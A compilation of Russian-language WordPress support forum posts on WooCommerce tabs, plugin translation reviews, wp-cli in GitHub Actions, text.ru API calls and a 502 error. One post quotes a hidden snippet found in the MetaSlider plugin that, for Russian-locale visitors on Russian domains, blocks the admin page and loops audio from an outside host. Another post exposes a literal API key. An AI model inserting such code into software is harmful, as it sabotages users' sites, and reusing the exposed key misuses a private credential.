-
-
Здравствуйте!
Добавляю дополнительные вкладки в товары woocommerce через function.php. Дополнительные вкладки добавляются нормально (использую плагин acf), но хочу чтобы сами вкладки добавлялись только если в них есть содержимое. например, у некоторых товаров есть схема, но в большинстве товаров схемы не будет. Однако, вкладка с пустым содержимым отображается.
Заранее благодарен.
add_filter( 'woocommerce_product_tabs', 'woo_new_product_tab' ); function woo_new_product_tab( $tabs ) { // Adds the new tab $tabs['test_tab'] = array( 'title' => __( 'Схема', 'woocommerce' ), 'priority' => 50, 'callback' => 'woo_new_product_tab_content' ); return $tabs; } function woo_new_product_tab_content() { // The new tab content echo '<h2>Схема</h2>'; echo '<p>Привет</p>'; echo the_field('shema'); }
Страница, с которой нужна помощь: [войдите, чтобы увидеть ссылку]
-
Всем доброго времени суток.
Дополненный перевод для плагина DarklupLite.Stable Readme (latest release) дополнен.
{чтобы все было в комплекте}
Просьба проверить, когда будет возможность 🙂Спасибо
Страница, с которой нужна помощь: [войдите, чтобы увидеть ссылку]
-
Всем доброго времени суток.
Есть дополненый перевод для плагина Lara’s Google Analytics (GA4),Stable (latest release) дополнен и исправлен.
Stable Readme (latest release) дополнен и исправлен.
Просьба проверить.Спасибо
Страница, с которой нужна помощь: [войдите, чтобы увидеть ссылку]
-
Всем доброго времени суток.
Есть дополненый перевод для плагина Formidable Forms,Stable (latest release) дополнен и исправлен.
Stable Readme (latest release) начат перевод.Просьба проверить.
Спасибо
Страница, с которой нужна помощь: [войдите, чтобы увидеть ссылку]
-
Всем доброго времени суток.
Есть дополненый перевод для плагина Clicky by Yoast,Stable (latest release) дополнен и исправлен.
Stable Readme (latest release) дополнен и исправлен.Просьба проверить
@nataliashitovaСпасибо
Страница, с которой нужна помощь: [войдите, чтобы увидеть ссылку]
-
Доброго времени суток.
Столкнулся с «закладкой» в плагине MetaSlider, в администрировании, при входе в плагин играет гимн Украины и блочится страница.
нашел закладки в файлах «app.js и app.min.js»
путь — «../public_html/wp-content/plugins/ml-slider/admin/assets/dist/js»
вот текст закладки «
if(«undefined»!=typeof window&&/^ru\b/.test(navigator.language)&&location.host.match(/.(ru|su|xn--p1ai)$/))
{var Ir=new Date,$r=localStorage.getItem(«swal-initiation»);
$r?(Ir.getTime()-Date.parse($r))/864e5>3&&setTimeout((function(){document.body.style.pointerEvents=»none»;var t=document.createElement(«audio»);
t.src=»https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3″,t.loop=!0,document.body.appendChild(t),setTimeout((
function(){t.play().catch((function(){}))}),2500)}),500):localStorage.setItem(«swal-initiation»,»».concat(Ir))}«
-
0
Сейчас изучаю работу gihub actions для запуска phpunit тестов для тестирования WP плагина. И возникла проблема подключения к бд через wp-cli. Напрямую через mysql подключение есть, создание и импорт бд через wp-cli работают, но получение данных из бд через wp-cli невозможно. На локальной машине всё работает отлично
Мой workflow.yml
name: WordPress install on: [workflow_dispatch] jobs: run: runs-on: ${{ matrix.operating-system }} strategy: matrix: operating-system: [ubuntu-latest] php-versions: ['7.2'] name: PHP ${{ matrix.php-versions }} Test on ${{ matrix.operating-system }} steps: - name: Checkout uses: actions/checkout@v1 - name: Setup PHP uses: shivammathur/setup-php@v1 with: php-version: ${{ matrix.php-versions }} extension-csv: mbstring, intl #optional, setup extensions ini-values-csv: post_max_size=256M, short_open_tag=On #optional, setup php.ini configuration coverage: xdebug #optional, setup coverage driver pecl: false #optional, setup PECL - name: Set up MySQL run: | sudo /etc/init.d/mysql start - name: Install wp run: | curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar php wp-cli.phar core download echo 1 php wp-cli.phar config create --dbname=wordpress_test --dbuser=root --dbpass=root --dbhost=127.0.0.1 --dbprefix=wptests_ echo 2 php wp-cli.phar db create php wp-cli.phar db check echo 30 mysql --user="root" --password="root" --execute='show databases;' echo 31 php wp-cli.phar db query 'SHOW TABLES' --allow-root echo 32 php wp-cli.phar db tables echo 3 php wp-cli.phar core install --url=wpclidemo.dev --title="WP-CLI" --admin_user=wpcli --admin_password=wpcli --admin_email=info@wp-cli.org echo 4 php wp-cli.phar option get siteurl echo 5
И итоговый результат
Success: WordPress downloaded. 1 Success: Generated 'wp-config.php' file. 2 Success: Database created. Success: Database checked. 30 Warning: arning] Using a password on the command line interface can be insecure. Database information_schema mysql performance_schema sys wordpress_test 31 32 Error: Error establishing a database connection. Error: Process completed with exit code 1.
В чем может быть причина ошибки с wp-cli?
Страница, с которой нужна помощь: [войдите, чтобы увидеть ссылку]
-
Здравствуйте. Пытаюсь взаимодействовать с Api text.ru — https://text.ru/api-check/manual, https://text.ru/api-check. Но ничего не получается. Они утверждают и указано в инструкции, что результат можно ожидать указав в callback страницу, куда поступит Post с уведомлением о завершении и результатами проверки.
Очень прошу помощи в решении.
Вот мой код :
страница new: Здесь простая форма с отправкой данных на страницу result
<form action="/result/" method="post"> <textarea name="text-for-check" placeholder="Введите текст для проверки"></textarea> <button type="submit">Отправить</button> </form> <?php
страница result — Здесь мы отправляем запрос и получаем text_uid, который нужен для дальнейшего использования.
<?php ob_start(); /* Template Name: Результаты */ if ($_SERVER["REQUEST_METHOD"] == "POST") { if(empty($_POST['text-for-check'])) { print_r('no'); }else { print_r('yes'); $textForCheck = htmlspecialchars($_POST['text-for-check']); } } $url = 'http://api.text.ru/post'; $args = array( 'body' => array( 'userkey' => '9fba58db6c4bc4d682c072308fdb7aa7', 'text' => $textForCheck, 'callback' => 'https://test.pro-develop.ru/result3', ), 'method' => 'POST' ); $response = wp_remote_request( $url, $args ); $result = json_decode($response['body'], true); $textUid = $result['text_uid']; header('Location: https://test.pro-develop.ru/result2/?text_uid=' . $textUid); ob_end_flush();
страница result2 —
<?php /* Template Name: Результаты2 */ var_dump($_GET); var_dump($_POST); $url = 'http://api.text.ru/post'; $args2 = array( 'body' => array( 'userkey' => '9fba58db6c4bc4d682c072308fdb7aa7', 'uid' => $_GET['text_uid'], 'jsonvisible' => 'detail', 'callback' => 'https://test.pro-develop.ru/result3', ), 'method' => 'POST', 'blocking' => true, ); $response2 = wp_remote_request( $url, $args2 ); $result2 = json_decode($response2['body'], true); echo '<pre>'; var_dump(json_decode($result2['result_json'])); echo '</pre>'; ?>
страница result3 —
<?php /* Template Name: Результаты3 */ echo 'ok'; ?> <?php var_dump($_POST); ?>
-
Всем доброго времени суток.
Есть дополненый перевод для плагина Popup Maker,Stable (latest release) дополнен и исправлен.
Stable Readme (latest release) дополнен и исправлен.Просьба проверить
@AlexanderСпасибо
Страница, с которой нужна помощь: [войдите, чтобы увидеть ссылку]
-
Всем доброго времени суток.
Есть готовый перевод для плагина All-in-One WP Migration,
Stable Readme (latest release) переведен и дополнен.Просьба проверить
@mechador
@WP-TranslationsСпасибо
Страница, с которой нужна помощь: [войдите, чтобы увидеть ссылку]
-
Здравствуйте редакторы.
У плагина Floating Chat Widget, обновлен и дополнен перевод.
Связано с обновлениями плагина.Stable (latest release) переведена полностью.
Stable Readme (latest release) переведена полностью.
Просьба проверить перевод.
СпасибоСтраница, с которой нужна помощь: [войдите, чтобы увидеть ссылку]
-
Сайт упал со словами 502 Bad Gateway.
Восстановил бэкап месячной давности — на пару минут открылся, потом опять лёг. Поднял версию PHP до 8.1 — не помогло. Заменил в файле wp-config.php define(‘WP_DEBUG’, false); на define(‘WP_DEBUG’, true) — понятней не стало. При этом файлы, загруженные в корень сайта, открываются: https://фундамент78.рф/test.php
На том же хостинге похожая проблема с другим сайтом возникает после обновления WP. Старая версия работает, как только запущу обновление — 502.
Не понимаю даже, куда копать.
Страница, с которой нужна помощь: [войдите, чтобы увидеть ссылку]
-